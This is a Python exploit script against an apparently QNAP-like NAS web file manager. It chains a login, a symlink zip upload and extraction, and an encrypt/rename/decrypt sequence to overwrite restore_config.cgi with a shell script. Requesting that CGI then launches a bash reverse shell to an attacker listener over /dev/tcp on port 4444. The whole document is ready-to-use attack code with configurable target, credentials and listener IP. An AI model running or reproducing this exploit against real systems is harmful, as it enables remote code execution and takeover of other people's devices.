#!/usr/bin/env python3 from requests import Session import requests from urllib3.exceptions import InsecureRequestWarning import base64 import os import re import time DEBUG_PROXY = 'http://localhost:8080' ENDPOINT = 'https://192.168.178.153' # Adjust USERNAME = 'victim' # Adjust PASSWORD = 'Victim123!' # Adjust LISTENER_IP = '192.168.178.142' # Adjust # Adjust Payload if you want PAYLOAD = '''#!/bin/sh\nbash -c "bash -i >& /dev/tcp/%s/4444 0>&1" &\n. /home/httpd/cgi-bin/json_output\noutput_http_header\noutput_header\noutput_save_restore\noutput_tail\n''' % LISTENER_IP requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # cleanup: cd /share/homes/USERNAME && rm -f pwn.zip && rm -f pwn/* && rmdir pwn def main() -> None: session = Session() # session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY) session.verify = False print('creating zip file') os.system(""" rm -f link.txt pwn.zip payload.txt ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt zip --symlink pwn.zip link.txt """) print('loggin in') response = session.post( f'{ENDPOINT}/cgi-bin/authLogin.cgi', headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'}, ) assert response.status_code == 200 match = re.search(r'', response.text) assert match sid = match.group(1) print('uploading zip file') with open('pwn.zip', 'rb') as file: upload_file(session, sid, 'pwn.zip', file.read()) print('unpacking zip file') response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'}, ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 time.sleep(5) print('uploading payload file') upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD)) print('encrypting payload file') response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'}, ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 print('renaming payload file') response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'}, ) assert response.status_code == 200 data = response.json() assert data['status'] in (1, 2) print('decrypting payload file') response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'}, ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 # Execute Payload time.sleep(1) print("Request %s/cgi-bin/restore_config.cgi" % ENDPOINT) print("Enjoy your shell") requests.get('%s/cgi-bin/restore_config.cgi' % ENDPOINT,verify=False) def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None: # get upload id response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid}) assert response.status_code == 200 data = response.json() upload_id = data['upload_id'] assert upload_id # upload file response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0', #headers={'Content-Type': 'multipart/form-data'}, files=( ('fileName', (None, filename.encode('ascii'))), ('file', ('blob', content, 'application/octet-stream')), ), ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 if __name__ == '__main__': main()